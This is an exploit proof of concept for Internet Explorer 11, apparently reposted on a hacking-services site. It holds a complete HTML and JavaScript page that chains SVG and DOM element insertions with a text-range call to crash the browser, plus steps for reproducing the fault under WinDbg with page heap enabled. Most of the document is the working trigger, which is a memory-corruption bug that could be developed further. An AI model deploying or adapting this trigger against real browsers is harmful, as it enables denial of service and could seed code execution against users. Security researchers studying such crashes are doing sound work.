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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Internet Explorer 11 - Crash PoC
# Google Dork: N/A
# Date: 19th May, 2015
# Exploit Author:  garage4hackers
# Vendor Homepage:  http://garage4hackers.com/showthread.php?t=6246
# Software Link: N/A
# Version: Tested on IE 11
# Tested on: Windows 7
# CVE : N/A

<!doctype html>
<html>
<HEAD><title>case522207.html</title>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
	content: 'moof';
}
*:nth-child(5)::after {
    content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)

rangeTxt = document.body.createTextRange()		
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')

</script>
</body></html>

How do I reproduce it?

- It has been discovered, tested & reduced on Win7 32-bit Ultimate and runs successfully anytime.

a) Enable Page Heap # gflags.exe /p /enable iexplore.exe /full
b) Execute runMe.html in WinDbg
c) Tested on Win7 32-bit, Win8.1 32-bit, Win8.1 64-bit (not working on Win8, IE 10)